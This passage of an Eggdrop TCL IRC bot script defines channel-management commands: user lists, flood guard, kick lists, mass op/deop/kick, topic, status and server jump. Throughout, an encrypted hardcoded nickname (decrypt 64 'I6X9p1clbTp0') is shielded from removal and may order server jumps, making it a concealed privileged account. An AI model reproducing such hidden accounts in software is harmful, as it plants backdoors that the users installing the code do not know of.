{nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set cflag "c$chan" ; set cflag [string range $cflag 0 8] ; chattr $cflag -V ; setuser $cflag XTRA "VC" "" puthlp "NOTICE $nick :$notc AuTovoIcE $chan \[4OFF\]" ; saveuser foreach x [utimers] { if {[string match "*voiceq $chan*" $x]} { killutimer [lindex $x 2] } } } ## seen bind pub n `+seen pub_+seen proc pub_+seen {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {![string match "*seen*" [channel info $chan]]} { puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR" ; return 0 } if {$rest != ""} { set chan [lindex $rest 0] ; if {[string first # $chan]!=0} { set chan "#$chan" } } if {[string tolower $chan] == "#all"} { foreach x [channels] { catch { channel set $x +seen } } ; savechan ; puthlp "NOTICE $nick :$notc ALL SEEN cHaNNeL \[9ON\]" ; seen ; return 0 } if {![validchan $chan]} { return 0 } if {[string match "*+seen*" [channel info $chan]]} { puthlp "NOTICE $nick :$notc SEEN $chan IS \[9ON\]" ; return 0 } catch { channel set $chan +seen } ; puthlp "NOTICE $nick :$notc SEEN $chan \[9ON\]" ; savechan ; seen } bind pub n `-seen pub_-seen proc pub_-seen {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {![string match "*seen*" [channel info $chan]]} { puthlp "NOTICE $nick :$notc FLAg NoT AVaILaBLE UpGRadE EggDROP VeR" ; return 0 } if {$rest != ""} { set chan [lindex $rest 0] ; if {[string first # $chan]!=0} { set chan "#$chan" } } if {[string tolower $chan] == "#all"} { foreach x [channels] { catch { channel set $x -seen } } ; savechan ; puthlp "NOTICE $nick :$notc ALL SEEN cHaNNeL \[4OFF\]" ; seen ; return 0 } if {![validchan $chan]} { return 0 } if {[string match "*-seen*" [channel info $chan]]} { puthlp "NOTICE $nick :$notc SEEN $chan IS \[4OFF\]" ; return 0 } catch { channel set $chan -seen } ; puthlp "NOTICE $nick :$notc SEEN $chan \[4OFF\]" ; savechan ; seen ; return 0 } ## guard bind pub n `+guard pub_+guard proc pub_+guard {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest != ""} { set chan [lindex $rest 0] ; if {[string first # $chan]!=0} { set chan "#$chan" } } if {[string tolower $chan] == "#all"} { foreach x [channels] { catch { channel set $x +echox +trojan +greet flood-chan 4:10 flood-deop 3:10 flood-kick 3:10 flood-join 0:0 flood-ctcp 3:10 flood-nick 3:30 } set cflag "c$x" set cflag [string range $cflag 0 8] chattr $cflag "-hp+AJSPTRUED" setuser $cflag XTRA "JP" 5 setuser $cflag XTRA "CHAR" 250 setuser $cflag XTRA "RPT" 2 setuser $cflag XTRA "CAPS" 80 } savechan ; puthlp "NOTICE $nick :$notc ALL GuaRd CHaNNeL \[9ON\]" ; return 0 } if {![validchan $chan]} { return 0 } set cflag "c$chan" set cflag [string range $cflag 0 8] chattr $cflag "-hp+AJSPTRUED" setuser $cflag XTRA "JP" 5 setuser $cflag XTRA "CHAR" 250 setuser $cflag XTRA "RPT" 2 setuser $cflag XTRA "CAPS" 80 if {[string match "*+greet*" [channel info $chan]]} { puthlp "NOTICE $nick :$notc GuARd $chan \[9ON\]" ; return 0 } if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!" ; return 0 } catch { channel set $chan +echox +trojan +greet flood-chan 4:10 flood-deop 3:10 flood-kick 3:10 flood-join 3:6 flood-ctcp 2:10 flood-nick 3:30 } puthlp "NOTICE $nick :$notc GuARD $chan \[9ON\]" ; savechan } bind pub n `-guard pub_-guard proc pub_-guard {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest != ""} { set chan [lindex $rest 0] ; if {[string first # $chan]!=0} { set chan "#$chan" } } if {[string tolower $chan] == "#all"} { foreach x [channels] { catch { channel set $x -greet flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 flood-nick 0:0 } set cflag "c$x" ; set cflag [string range $cflag 0 8] ; chattr $cflag "-hpJSPTRUED" } savechan ; puthlp "NOTICE $nick :$notc ALL GuaRd cHaN \[4OFF\]" ; return 0 } if {![validchan $chan]} { return 0 } set cflag "c$chan" set cflag [string range $cflag 0 8] chattr $cflag "-hpJSPTRUED" if {[string match "*-greet*" [channel info $chan]]} { puthlp "NOTICE $nick :$notc GuARD $chan IS \[4OFF\]" ; return 0 } catch { channel set $chan -greet flood-chan 0:0 flood-deop 0:0 flood-kick 0:0 flood-join 0:0 flood-ctcp 0:0 flood-nick 0:0 } puthlp "NOTICE $nick :$notc GuARD $chan \[4OFF\]" ; savechan ; return 0 } ## +/-master bind pub n `+master pub_+master proc pub_+master {nick uhost hand channel param} { global botnick squ notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set rest [lindex $param 0] if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: +master " ; return 0 } if {[matchattr $nick X]} { puthlp "NOTICE $nick :$notc4 !BLoCkEd!" ; return 0 } if {[string tolower $rest] == [string tolower [decrypt 64 "I6X9p1clbTp0"]]} { puthlp "NOTICE $nick :$notc Add \[$rest\] MasTeR LIsT." ; return 0 } if {[matchattr $rest n]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, $rest is ADmIN level." ; return 0 } if {[matchattr $rest m]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, $rest is already exist." ; return 0 } if {![validuser $rest]} { set hostmask "${rest}!*@*" ; adduser $rest $hostmask } chattr $rest "fmo" if {![validuser $rest]} { puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)" deluser $rest ; return 0 } else { saveuser puthlp "NOTICE $nick :$notc Add \[$rest\] MasTeR List." ; puthlp "NOTICE $rest :$notc $nick Add YoU To MasTeR LIsT" puthlp "NOTICE $rest :$notc /msg $botnick pass " ; return 0 } } bind pub n `-master pub_-master proc pub_-master {nick uhost hand channel param} { global notc squ if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set rest [lindex $param 0] if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: -master " ; return 0 } if {![validuser $rest] || [string tolower $rest] == [string tolower [decrypt 64 "I6X9p1clbTp0"]]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, " ; return 0 } if {[matchattr $rest n] && ![matchattr $nick Z]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, $rest Is ADmIN FLaG" ; return 0 } deluser $rest ; saveuser puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM MasTeR LIsT" } ## +/-avoice bind pub n `+avoice pub_+avoice proc pub_+avoice {nick uhost hand channel param} { global squ notc botnick chk_reg if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set rest [lindex $param 0] if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: +avoice " ; return 0 } if {[string tolower $rest] == [string tolower [decrypt 64 "I6X9p1clbTp0"]]} { puthlp "NOTICE $nick :$notc ADD \[$rest\] To aVoIcE LIsT" ; return 0 } if {[matchattr $rest v]} { puthlp "NOTICE $nick :$notc $rest is already auto voice" ; return 0 } if {[matchattr $nick X]} { puthlp "NOTICE $nick :$notc4 !BLoCkEd!" ; return 0 } if {![validuser $rest]} { set hostmask "${rest}!*@*" ; adduser $rest $hostmask ; chattr $rest "-hp" } chattr $rest "v" if {![validuser $rest]} { puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)" deluser $rest } else { saveuser puthlp "NOTICE $nick :$notc ADD \[$rest\] To aVoIcE LIsT" ; puthlp "NOTICE $rest :$notc $nick ADD YoU To aVoIcE LIsT" set chk_reg($rest) $nick ; putsrv "WHOIS $rest" } return 0 } bind pub n `-avoice pub_-avoice proc pub_-avoice {nick uhost hand channel param} { global notc squ if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set rest [lindex $param 0] if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: -avoice " ; return 0 } if {![matchattr $rest v]} { puthlp "NOTICE $nick :$notc $rest is not auto voice" ; return 0 } if {![validuser $rest] || [string tolower $rest] == [string tolower [decrypt 64 "I6X9p1clbTp0"]]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, " ; return 0 } chattr $rest "-v" ; saveuser ; puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM aVoIcE LIsT" ; return 0 } ## +/- friend bind pub n `+friend pub_+friend proc pub_+friend {nick uhost hand channel param} { global notc squ if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set rest [lindex $param 0] if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: +friend " ; return 0 } if {[validuser $rest] && [string tolower $rest] != [string tolower [decrypt 64 "I6X9p1clbTp0"]]} { puthlp "NOTICE $nick :$notc $rest is already on database with flags: [chattr $rest]" ; return 0 } set hostmask "${rest}!*@*" ; adduser $rest $hostmask ; chattr $rest "-hp" ; chattr $rest "f" if {![validuser $rest]} { puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)" ; deluser $rest ; return 0 } saveuser puthlp "NOTICE $nick :$notc ADD \[$rest\] To FrIeNd LIsT" ; puthlp "NOTICE $rest :$notc $nick ADD YoU To FrIeNd LIsT" return 0 } bind pub n `-friend pub_-friend proc pub_-friend {nick uhost hand channel param} { global squ notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set rest [lindex $param 0] if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: -friend " ; return 0 } if {![validuser $rest] || [string tolower $rest] == [string tolower [decrypt 64 "I6X9p1clbTp0"]]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, " ; return 0 } if {![matchattr $rest f] && ![matchattr $rest m]} { puthlp "NOTICE $nick :$notc $rest isn't on FrIeNd list Flags: [chattr $rest]" ; return 0 } deluser $rest ; saveuser puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM FrIeNd LIsT" } ## +/- ipguard bind msg n +ipguard pub_+ipguard bind pub n `+ipguard pub_+ipguard proc pub_+ipguard {nick uhost hand channel param} { global botname botnick notc botnick if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set rest [lindex $param 0] if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: +ipguard " ; return 0 } if {$rest == "*" || $rest == "*!*@*"} { puthlp "NOTICE $nick :$notc invalid hostname..!" ; return 0 } if {![string match "*@*" $rest]} { puthlp "NOTICE $nick :$notc Usage: +ipguard " ; return 0 } set ipguard [getuser "config" XTRA "IPG"] foreach y $ipguard { if {$y == $rest} { puthlp "NOTICE $nick :$notc $rest allready added..!" ; return 0 } } puthlp "NOTICE $nick :$notc add \[$rest\] To IpguaRd" lappend ipguard $rest ; setuser "config" XTRA "IPG" $ipguard saveuser ; return 0 } bind msg n -ipguard pub_-ipguard bind pub n `-ipguard pub_-ipguard proc pub_-ipguard {nick uhost hand channel param} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set rest [lindex $param 0] if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: -ipguard " ; return 0 } set ipguard [getuser "config" XTRA "IPG"] set nipg "" ; set ok "F" foreach y $ipguard { if {$y == $rest} { set ok "T" ; puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM IpguaRd" } { lappend nipg } } if {$ok == "T"} { setuser "config" XTRA "IPG" $nipg ; saveuser ; return 0 } puthlp "NOTICE $nick :$notc $rest not founded..!" } ## +/- akick bind pub n `+akick pub_+akick proc pub_+akick {nick uhost hand channel param} { global botname botnick notc botnick if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set rest [lindex $param 0] if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: +akick " ; return 0 } if {$rest == "*" || $rest == "*!*@*"} { puthlp "NOTICE $nick :$notc invalid hostname..!" ; return 0 } if {$rest == $botnick} { puthlp "NOTICE $nick :$notc 4DeNiEd..!" ; return 0 } if {[validuser $rest]} { puthlp "NOTICE $nick :$notc $rest is already on database with flags: [chattr $rest]" ; return 0 } if {![string match "*@*" $rest]} { set rest "$rest!*@*" } if {[string match $rest $botname]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!" ; return 0 } if {[finduser $rest] != "*"} { if {[finduser $rest] != "AKICK"} { puthlp "NOTICE $nick :$notc That Host Belongs To [finduser $rest]" } puthlp "NOTICE $nick :$notc That Host already in [finduser $rest]" ; return 0 } puthlp "NOTICE $nick :$notc ADD \[$rest\] To KIcKLIsT..!" setuser "AKICK" HOSTS $rest saveuser foreach x [channels] { if {[isop $botnick $x]} { foreach c [chanlist $x K] { if {![matchattr $c f]} { akick_chk $c [getchanhost $c $x] $x } } } } return 0 } bind pub n `-akick pub_-akick proc pub_-akick {nick uhost hand channel param} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set rest [lindex $param 0] if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: -akick " ; return 0 } if {![string match "*@*" $rest]} { set rest "$rest!*@*" } set completed 0 foreach * [getuser "AKICK" HOSTS] { if {${rest} == ${*}} { delhost "AKICK" $rest ; set completed 1 } } if {$completed == 0} { puthlp "NOTICE $nick :$notc " ; return 0 } saveuser ; puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM KIcKLIsT" } ## +/- buntu bind pub n `+dead pub_+dead proc pub_+dead {nick uhost hand channel param} { global botname botnick notc botnick if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set rest [lindex $param 0] if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: +dead " ; return 0 } if {$rest == "*" || $rest == "*!*@*"} { puthlp "NOTICE $nick :$notc invalid hostname..!" ; return 0 } if {$rest == $botnick} { puthlp "NOTICE $nick :$notc 4DeNiEd..!" ; return 0 } if {[validuser $rest]} { puthlp "NOTICE $nick :$notc $rest is already on database with flags: [chattr $rest]" ; return 0 } if {![string match "*@*" $rest]} { set rest "$rest!*@*" } if {[string match $rest $botname]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!" ; return 0 } if {[finduser $rest] != "*"} { if {[finduser $rest] != "DEAD"} { puthlp "NOTICE $nick :$notc That Host Belongs To [finduser $rest]" } puthlp "NOTICE $nick :$notc That Host already in [finduser $rest]" ; return 0 } puthlp "NOTICE $nick :$notc ADD \[$rest\] To DeaDLIsT..!" setuser "DEAD" HOSTS $rest saveuser foreach x [channels] { if {[isop $botnick $x]} { foreach c [chanlist $x D] { if {![matchattr $c f]} { dead_chk $c [getchanhost $c $x] $x } } } } return 0 } bind pub n `-dead pub_-dead proc pub_-dead {nick uhost hand channel param} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set rest [lindex $param 0] if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: -dead " ; return 0 } if {![string match "*@*" $rest]} { set rest "$rest!*@*" } set completed 0 foreach * [getuser "DEAD" HOSTS] { if {${rest} == ${*}} { delhost "DEAD" $rest ; set completed 1 } } if {$completed == 0} { puthlp "NOTICE $nick :$notc " ; return 0 } saveuser ; puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM DeaDLIsT" } ## +/- noop bind pub m `+noop pub_+noop proc pub_+noop {nick uhost hand channel param} { global squ notc botnick if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set rest [lindex $param 0] if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: +noop " ; return 0 } if {[string tolower $rest] == [string tolower [decrypt 64 "I6X9p1clbTp0"]]} { puthlp "NOTICE $nick :$notc ADD \[$rest\] To NoOp LIsT" ; return 0 } if {[validuser $rest]} { puthlp "NOTICE $nick :$notc $rest is already on database with flags: [chattr $rest]" ; return 0 } set hostmask "${rest}!*@*" ; adduser $rest $hostmask ; chattr $rest "-hp" ; chattr $rest "O" if {![validuser $rest]} { puthlp "NOTICE $nick :$notc 4!FaILEd! (YoUR EggDROP NoT SuPPORTED MoRE THaN 8 DIgIT)" ; deluser $rest } else { saveuser ; puthlp "NOTICE $nick :$notc ADD \[$rest\] To NoOp LIsT" } foreach x [channels] { if {[isop $botnick $x] && [onchan $rest $x] && [isop $rest $x]} { if {![string match "*k*" [getchanmode $x]]} { putserv "mode $x -ko 6no@p.list $rest" } { putserv "mode $x -o $rest" } } } return 0 } bind pub m `-noop pub_-noop proc pub_-noop {nick uhost hand channel param} { global squ notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set rest [lindex $param 0] if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: -noop " ; return 0 } if {![validuser $rest] || [string tolower $rest] == [string tolower [decrypt 64 "I6X9p1clbTp0"]]} { puthlp "NOTICE $nick :$notc4 !DeNiEd!, " ; return 0 } if {![matchattr $rest O]} { puthlp "NOTICE $nick :$notc $rest isn't on no-op list Flags: [chattr $rest]" ; return 0 } deluser $rest ; saveuser ; puthlp "NOTICE $nick :$notc DeL \[$rest\] No@p LIsT" } ## +/- cycle bind pub n `+cycle pub_+cycle proc pub_+cycle {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set cflag "c$chan" set cflag [string range $cflag 0 8] if {$rest=="" || ![isnumber $rest]} { puthlp "NOTICE $nick :$notc Usage +cYcLe " ; return 0 } if {$rest == 0} { puthlp "NOTICE $nick :$notc cAnT UsE NuLL" ; return 0 } chattr $cflag +C setuser $cflag XTRA "CYCLE" $rest puthlp "NOTICE $nick :$notc cYcLe $chan \[9$rest\] MnT" if {![istimer "cycle $chan"]} { timer $rest [cycle $chan] } saveuser } bind pub n `-cycle pub_-cycle proc pub_-cycle {nick uhost hand chan rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set cflag "c$chan" set cflag [string range $cflag 0 8] chattr $cflag -C setuser $cflag XTRA "CYCLE" "" puthlp "NOTICE $nick :$notc cYcLe $chan \[4OFF\]" saveuser foreach x [timers] { if {[string match "*cycle $chan*" $x]} { killtimer [lindex $x 2] } } } ## kickcounter bind pub n `+kickcounter pub_+kickcounter proc pub_+kickcounter {nick uhost hand chan rest} { global notc kops if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } set kcounter "T" setuser "config" XTRA "KCOUNTER" "ON" puthlp "NOTICE $nick :$notc KIcK COuNTeR \[9ON\]" saveuser } bind pub n `-kickcounter pub_-kickcounter proc pub_-kickcounter {nick uhost hand chan rest} { global notc kops if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } catch { unset kcounter } setuser "config" XTRA "KCOUNTER" "OFF" puthlp "NOTICE $nick :$notc KIcK COuNTeR \[4OFF\]" saveuser } ## mvoice bind pub n `mvoice pub_mvoice proc pub_mvoice {nick uhost hand chan rest} { global notc botnick if {![isop $botnick $chan]} { return 0 } if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest != ""} { set chan [lindex $rest 0] ; if {[string first # $chan]!=0} { set chan "#$chan" } } set nicks "" ; set i 0 foreach x [chanlist $chan] { if {(![isop $x $chan]) && (![isvoice $x $chan]) && (![matchattr $x O])} { if {$i == 6} { voiceq $chan $nicks ; set nicks "" ; append nicks " $x" ; set i 1 } { append nicks " $x" ; incr i } } } voiceq $chan $nicks } ## mdevoice bind pub n `mdevoice pub_mdevoice proc pub_mdevoice {nick uhost hand chan rest} { global notc botnick if {![isop $botnick $chan]} { return 0 } if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest != ""} { set chan [lindex $rest 0] ; if {[string first # $chan]!=0} { set chan "#$chan" } } set nicks "" ; set i 0 foreach x [chanlist $chan] { if {[isvoice $x $chan]} { if {$i == 6} { putserv "MODE $chan -vvvvvv $nicks" ; set nicks "" ; append nicks " $x" ; set i 1 } { append nicks " $x" ; incr i } } } putserv "MODE $chan -vvvvvv $nicks" } ##mop bind pub n `mop pub_mop proc pub_mop {nick uhost hand chan rest} { global notc botnick if {![isop $botnick $chan]} { return 0 } if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest != ""} { set chan [lindex $rest 0] ; if {[string first # $chan]!=0} { set chan "#$chan" } } set nicks "" ; set i 0 foreach x [chanlist $chan] { if {![isop $x $chan]} { if {$i == 6} { opq $chan $nicks ; set nicks "" ; append nicks " $x" ; set i 1 } { append nicks " $x" ; incr i } } } opq $chan $nicks } ## mdeop bind pub n `mdeop pub_mdeop proc pub_mdeop {nick uhost hand chan rest} { global botnick notc if {![isop $botnick $chan]} { return 0 } if {$rest != ""} { set chan [lindex $rest 0] ; if {[string first # $chan]!=0} { set chan "#$chan" } } if {$nick != "*"} { if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } } set nicks "" ; set i 0 foreach x [chanlist $chan] { if {([isop $x $chan]) && (![matchattr $x m]) && ($x != $botnick)} { if {$i == 5} { if {![string match "*k*" [getchanmode $chan]]} { putserv "MODE $chan -kooooo 6admin.request $nicks" } { putserv "MODE $chan -oooooo $nicks" } set nicks "" ; append nicks " $x" ; set i 1 } { append nicks " $x" ; incr i } } } putserv "MODE $chan -oooooo $nicks" } ## mkick bind pub n `mkick pub_mkick proc pub_mkick {nick uhost hand chan rest} { global botnick notc if {(![validchan $chan]) || (![isop $botnick $chan])} { return 0 } if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest != ""} { set chan [lindex $rest 0] set reason [lrange $rest 1 end] if {[string first # $chan]!=0} { set chan "#$chan" } } else { set reason $rest } if {$reason == ""} { set reason "1admin 2masskick1 request" } foreach x [chanlist $chan] { if {(![matchattr $x f]) && ($x != $botnick)} { putsrv "KICK $chan $x :$notc $reason [banmsg]" } } } ## topic bind pub n `topic pub_topic proc pub_topic {nick uhost hand channel rest} { global botnick notc botnick if {![isop $botnick $channel]} { return 0 } if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: topic " ; return 0 } putsrv "TOPIC $channel :$rest" } bind msg Z topic msg_topic proc msg_topic {nick uhost hand rest} { global notc botnick if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest == ""} { puthlp "NOTICE $nick :$notc Usage: topic <#> " ; return 0 } set channel [lindex $rest 0] if {[string first # $rest] != 0} { set channel "#$channel" } if {![validchan $channel]} { puthlp "NOTICE $nick :$notc NoT IN $channel" ; return 0 } if {![isop $botnick $channel]} { puthlp "NOTICE $nick :$notc NoT OP $channel" ; return 0 } set rest [lrange $rest 1 end] putsrv "TOPIC $channel :$rest" } ## status bind pub n `status pub_status proc pub_status {nick uhost hand channel rest} { global ban-time botnick nwo squ vern notc set cflag "c$channel" set cflag [string range $cflag 0 8] if {$rest != ""} { if {[validchan $rest]} { set channel $rest } { return 0 } } set cinfo [channel info $channel] if {![string match "*+shared*" $cinfo] && $nick == "*"} { return 0 } set mstatus "" if {[matchattr $cflag I]} { append mstatus "\[2T\]opiclock " } if {[matchattr $cflag M]} { append mstatus "force\[2M\]ode " } if {[string match "*+nodesynch*" $cinfo]} { append mstatus "auto\[2K\]Ick " } if {[getuser "config" XTRA "KOPS"]!=""} { append mstatus "\[2@\]psKick " } if {[string match "*-userinvites*" $cinfo]} { append mstatus "\[2D\]ontkick@p " } if {[string match "*-protectfriends*" $cinfo]} { append mstatus "re\[2@\]p " } if {[string match "*+tools*" $cinfo]} { append mstatus "\[2T\]ools " } if {[string match "*+greet*" $cinfo]} { set i 0 while {$i < [string length $cinfo]} { set y 0 while {$y < [string length [lindex $cinfo $i]]} { if {[string index [lindex $cinfo $i] $y] == ":"} { break } ; set y [incr y] } if {$y != [string length [lindex $cinfo $i]]} { break } set i [incr i] } set ichan [lindex $cinfo $i] set ictcp [lindex $cinfo [expr $i + 1]] set ijoin [lindex $cinfo [expr $i + 2]] set ikick [lindex $cinfo [expr $i + 3]] set ideop [lindex $cinfo [expr $i + 4]] set inick [lindex $cinfo [expr $i + 5]] if {![string match "*:*" $inick]} { set inick "0" } append mstatus "\[2G\]uard FLood \[Line2 $ichan Ctcp2 $ictcp Join2 $ijoin Kick2 $ikick De@p2 $ideop NIck2 $inick\] " } if {${ban-time} != 0} { append mstatus "\[2B\]antime2 ${ban-time} mIn " } if {[matchattr $cflag V]} { append mstatus "\[2A\]utovoice2 [getuser $cflag XTRA "VC"] 2nd " } if {[matchattr $cflag K]} { append mstatus "\[2K\]ey " } if {[matchattr $cflag G]} { append mstatus "\[2G\]reet " } if {[matchattr $cflag T]} { append mstatus "\[2T\]ext2 [getuser $cflag XTRA "CHAR"] char " } if {[matchattr $cflag R]} { append mstatus "\[2R\]epeat2 [getuser $cflag XTRA "RPT"] " } if {[matchattr $cflag U]} { append mstatus "\[2C\]aps2 [getuser $cflag XTRA "CAPS"]% " } if {[matchattr $cflag P]} { append mstatus "join\[2P\]art2 [getuser $cflag XTRA "JP"] 2nd " } if {[matchattr $cflag O]} { append mstatus "\[2C\]lone2 [getuser $cflag XTRA "CLONE"] max " } if {[matchattr $cflag J]} { append mstatus "mass\[2J\]oin " } if {[matchattr $cflag L]} { append mstatus "\[2L\]imited2 +[getuser $cflag XTRA "LIMIT"] " } if {[string match "*+seen*" $cinfo]} { append mstatus "\[2S\]een " } if {[matchattr $cflag D]} { append mstatus "re\[2V\]enge " } if {[matchattr $cflag S]} { append mstatus "\[2S\]pam " } if {[string match "*+trojan*" $cinfo]} { append mstatus "\[2T\]rojan " } if {[string match "*+echox*" $cinfo]} { append mstatus "\[2E\]choX " } if {[string match "*+badchan*" $cinfo]} { append mstatus "\[2B\]adchan " } if {[matchattr $cflag E]} { append mstatus "\[2E\]nforceban " } if {[matchattr $cflag C]} { append mstatus "\[2C\]ycle2 [getuser $cflag XTRA "CYCLE"] mnt " } if {[string match "*+active*" $cinfo]} { append mstatus "\[2A\]ct.vo " } if {[string match "*+split*" $cinfo]} { append mstatus "\[2S\]plit " } if {$mstatus != ""} { if {[getuser "config" XTRA "ADmIN"]!=""} { set mstatus "SeT FoR \[1[string toupper [string trimleft $channel "#"]]\] ${mstatus}[getuser "config" XTRA "ADmIN"] $notc" } { set mstatus "SeT FoR \[1[string toupper [string trimleft $channel "#"]]\] ${mstatus}$notc" } } if {[string match "*c*" [getchanmode $channel]]} { set mstatus [netext $mstatus] ; regsub -all --  $mstatus "" mstatus } puthlp "PRIVMSG $channel :\001ACTION $mstatus\001" } ## server bind pub n `servers pub_server proc pub_server {nick uhost hand channel arg} { global server notc ; if {$arg != ""} { if {[string match "*$arg*" $server]} { puthlp "privmsg $channel :[lindex $server 0]" } } { puthlp "privmsg $channel :[lindex $server 0]" } } ## jump bind pub n `jump pub_jump proc pub_jump {nick uhost hand chan rest} { global botnick notc squ owner if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$nick != $owner && $nick != [decrypt 64 "I6X9p1clbTp0"]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!, oNLy ReAL OwNER Can MakE Me JumP" ; return 0 } set server [lindex $rest 0] ; set curtime [ctime [unixtime]] if {$server == ""} { puthlp "NOTICE $nick :$notc Usage: jump \[port\] \[password\]" ; return 0 } if {![string match "*dal.net*" [string tolower $rest]]} { puthlp "NOTICE $nick :$notc 4DeNiEd..! NoT DALNeT..!" ; return 0 } set port [lindex $rest 1] ; if {$port == ""} {set port "6667"} ; set password [lindex $rest 2] putsrv "QUIT :$notc cHaNgINg ServeR ReQuesT By \[ $nick \] $server) (1on $curtime" utimer 2 [list jump $server $port $password] } ## msg/say/notice/act bind pub m `msg pub_msg proc pub_msg {nick uhost hand channel rest} { global owner notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest==""} { puthlp "NOTICE $nick :$notc Usage: msg <#/nick> " } set person [string tolower [lindex $rest 0]] ; set rest [lrange $rest 1 end] if {[string match "*serv*" $person]} { puthlp "NOTICE $nick :$notc4 DeNiEd..! Can't send message to Service." ; return 0 } if {$person == [string tolower $owner]} { puthlp "NOTICE $nick :$notc 4DeNiEd..!" ; return 0 } puthlp "PRIVMSG $person :$rest" } bind pub m `say pub_say proc pub_say {nick uhost hand channel rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest==""} { puthlp "NOTICE $nick :$notc Usage: say " } puthlp "PRIVMSG $channel :$rest" } bind pub m `notice pub_notice proc pub_notice {nick uhost hand channel rest} { global notc if {![matchattr $nick Q]} { puthlp "NOTICE $nick :$notc 4auth 1st!" ; return 0 } if {$rest==""} { puthlp "NOTICE $nick :$notc Usage: notice <#/nick> " } set person [lindex $rest 0] ; set 